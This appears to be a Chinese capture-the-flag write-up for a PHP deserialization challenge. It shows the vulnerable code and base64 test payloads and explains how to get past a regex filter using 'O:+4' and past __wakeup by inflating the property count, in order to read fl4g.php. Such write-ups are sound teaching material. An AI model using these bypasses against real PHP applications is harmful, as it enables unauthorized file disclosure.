1. 程式人生 > 其它 >13羅馬數字轉整數-雜湊表和enumerate()應用

13羅馬數字轉整數-雜湊表和enumerate()應用

題目原始碼:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

在Demo函式裡又看見了wakeup函式,應該會涉及到反序列化

看到下面的if判斷語句,他先判斷了,是否有var這個引數,如果有就將他base64解碼,然後將解碼後的值做正則匹配

正則匹配條件分析:/[oc]:\d+:/i

oc:代表這塊區域用來匹配o或者c

\d:代表一個數字字元

+:代表可以匹配多次

/i:匹配時不區分大小寫

總結下來他匹配的物件大概張這樣:

o:4: (兩個冒號之間為數字,第一個冒號前面為o或者c的大小寫)

這裡看判斷條件,一旦正則匹配上了,程式就會停止,所以我們只能走下面的那個else條件,else中給了一個unserialize(),這個就是反序列化的操作,他的反向操作是serialize()

上面那個wakeup()函式在呼叫反序列化的操作時會首先執行,他的執行條件是判斷file引數值是否為index.php,如果不是則換成他,並且他在裡面提示了fl4g.php檔案,那我們的目的應該就是訪問這個fl4g檔案,可是我們的檔名一旦不為index時,便會強制替換為index,所以分析到這裡就知道,應該去使用上次我們利用的那個繞過wakeup函式的方法。

在本地搭建環境

將Demo函式複製過來

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo('1.php');
$b = serialize($a);
echo "</br>";
print_r($b);
?>

執行結果:

O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";} <?php
echo "這是1.php檔案";
?> 

可以看到結果中已經將1.php檔案的程式碼高亮顯示。

其中O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}這個是物件a序列化後的結果,後面的1.php就是我們要訪問的內容。

ps:這裡可以發現wakeup中的內容並沒有執行,這是因為這個wakeup只有在呼叫unserialize函式時才會執行,

__construct($file):這個函式會在建構函式時讀入一個值做引數

__destruct():這個函式會在程式銷燬時執行(有點像C++中的解構函式)

這裡我卡了很久,無論我怎麼改,都沒辦法修改這個物件的屬性值,後來發現不是無法修改,而是他沒執行建構函式,所以導致這個檔名並沒有讀入,然後我就去研究為什麼這個建構函式沒有執行。

這裡算是踩了個坑啊,回頭檢查可以發現,10後面對應的那個值:Demofile,這裡明明只有8個字元,何來10個字元?(這是php執行給的結果,所以這肯定不會是錯的)

查閱資料後知道,private屬性被序列化的時候屬性值會變成\x00類名\x00屬性名,其中:\x00表示空字元,但是還是佔用一個字元位置,這就是為什麼上面serialize($a)執行後的序列化字串中屬性file變成Demofile,長度為10。

修改程式碼,證明結論:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
		echo "建構函式執行!!";
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
		echo "解構函式執行!!";
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            //$this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo('1.php');
$b = base64_encode(serialize($a));
echo "</br>";
print_r($b);
echo "</br>";

$c = 'O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}';//將序列化後的值直接複製過來
print_r(base64_encode($c));
//@unserialize($c);

?>

結果:

建構函式執行!!
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9
Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo1OiIxLnBocCI7fQ== <?php
echo "這是1.php檔案";

?> 解構函式執行!!

可以明顯的看到,兩次的base64編碼有差異,可以證明瀏覽器將這個\x00給幹掉了,這一點,不細細觀察真的感覺不出來。

那這一題就不能簡單複製貼上了,需要用到16進位制編輯器將瀏覽器給過濾掉的東西補回去。

這裡burpsuite可以很方便的實現,所以直接上工具!

將內容複製進decoder模組,然後點選hex,轉為16進位制,我們需要在少內容的地方將那兩個空字元補上,根據\x00類名\x00屬性名,可以知道,我們應該在D的前面和f的前面新增上這兩個空字元。

這裡的44代表D,66代表f

新增完後將其base64編碼,不然瀏覽器又會把他幹掉了,再次修改程式碼,測試能否執行:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
		echo "建構函式執行!!";
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
		echo "解構函式執行!!";
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            //$this->file = 'index.php';	//先註釋掉這塊,主要測試建構函式 
        } 
    } 
}

$c = 'Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9';
//print_r(base64_encode($c));
$d = base64_decode($c);
@unserialize($d);

?>

執行結果:

 <?php
echo "這是1.php檔案";

?> 解構函式執行!!

看到效果了,執行成功了,但是可以觀察到的是,建構函式依舊沒有執行,這說明在反序列化的過程中,並沒有涉及到這一步。

知道了這麼多東西,就可以回來看題目了,但題目中還有一個條件是,引數中不能包含數字,由於序列化後的字串是包含數字的,所以這又該怎麼過?

這裡繞過數字,其實質也是繞過preg_match()函式,那這就又需要上網蒐集知識點了

其中+號可以實現繞過(+號代表空格)

其他的可能繞過的方法:

  1. true可以代替數字1

    PHP中true為弱型別,true+true的值為2

  2. 異或法可以替代一些內容

    str = r"~!@#$%^&*()_+<>?,.;:-[]{}/"
    
    for i in range(0, len(str)):
        for j in range(0, len(str)):
            a = ord(str[i])^ord(str[j])
            print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
    

這裡肯定是選最簡單的加號繞過

中間那個2就不重複解釋了,wakeup的漏洞,編碼後提交即可得到flag!

終於做完了@_@